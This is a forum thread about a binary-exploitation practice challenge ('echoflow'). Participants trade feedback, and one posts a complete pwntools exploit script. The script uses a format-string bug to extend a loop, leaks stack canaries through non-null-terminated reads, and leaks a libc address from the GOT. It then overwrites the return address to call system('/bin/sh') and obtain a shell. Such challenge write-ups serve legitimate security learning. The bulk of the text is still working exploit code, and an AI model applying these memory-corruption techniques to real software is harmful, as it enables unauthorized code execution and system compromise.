@exploit Let the rest feel the taste of first blood for once Just kidding, great job man!
Any feedback? Was it a bit tougher/trickier than the previous one?
Feel free to share your PoC exploit inside the spoiler tags so those who were stuck can benefit from it. I’ll post mine in a couple of days. I’m curious if you solved it the intended way.
Did you use read() in order to leak the canary? I hope you didn’t use the GOT overwrite technique.
@Xorus Even a hello-world program gets picked up by AVs as malicious anymore, just FYI Cheers.
Damn, I didn’t think of banning capital ‘x’ The intended way to leak the canary was via the read() function. Try leaking it via that, it will require a bit of more creativity. Congrats either way!
Yoooo, I just came back home!
About the binary, it was better than the last one, I followed the rules and I ended up solving it the intended way !
Sorry for the late reply, i’ll share my POC:
#!/usr/bin/python
from pwn import *
# LOCAL DIFF
sh_diff = 0x15cc28
sys_diff = 0x3a840
exit_diff = 0x8f860
counter_address = 0x0804a03c
c = process("./echoflow")
main = 0x80485dd
# Increase loop-size
# You can either use %u or %i or %X, since alot of format-specifiers are filtred..
format_payload = p32(counter_address) + "%1u%23$hn"
c.sendline(format_payload)
c.recvuntil("Overflow me if you can!")
# Exploiting the Non-NULL-Terminated string for a leak!
payload = "B" * (4*11)
c.sendline(payload)
c.recvuntil(payload)
c.recvline()
canary = u32(c.recv(3).rjust(4, "\x00"))
print "Canary: " + hex(canary)
c.recv()
# Use the format-string bug to leak the content of a GOT entry ( exit_got )
# It contains the address of the exit function in libc..
format_payload = p32(0x0804a028) + "%23$s"
c.sendline(format_payload)
# Saving and calculating part..
c.recvline()
libc_exit = u32(c.recvline()[:-1][8:12])
libc_base = libc_exit - exit_diff
print "libc_base @ " + hex(libc_base)
binsh = libc_base + sh_diff
system = libc_base + sys_diff
c.recvuntil("Overflow me if you can!")
# Leaking the before_canary value; consider it, like two stack canaries..
payload = "A" * 128
c.sendline(payload)
c.recvuntil(payload)
c.recvline()
before_canary = u32(c.recv(3).rjust(4, "\x00"))
# Using the leaked canaries to prevent __stack_chk_fail() from being called
# and using the previous format leak, and it's calculated addresses
# to call system("/bin/sh") and pop a shell!
payload += p32(before_canary)
payload += p32(1)
payload += p32(canary)
payload += p32(0)
payload += p32(system)
payload += "BBBB"
payload += p32(binsh)
c.sendline("JUNK")
c.recvuntil("Overflow me if you can!")
c.sendline(payload)
# Press enter many times to escape the loop..
# BINGO! shell :) ( probably, lol )
c.recv()
c.interactive()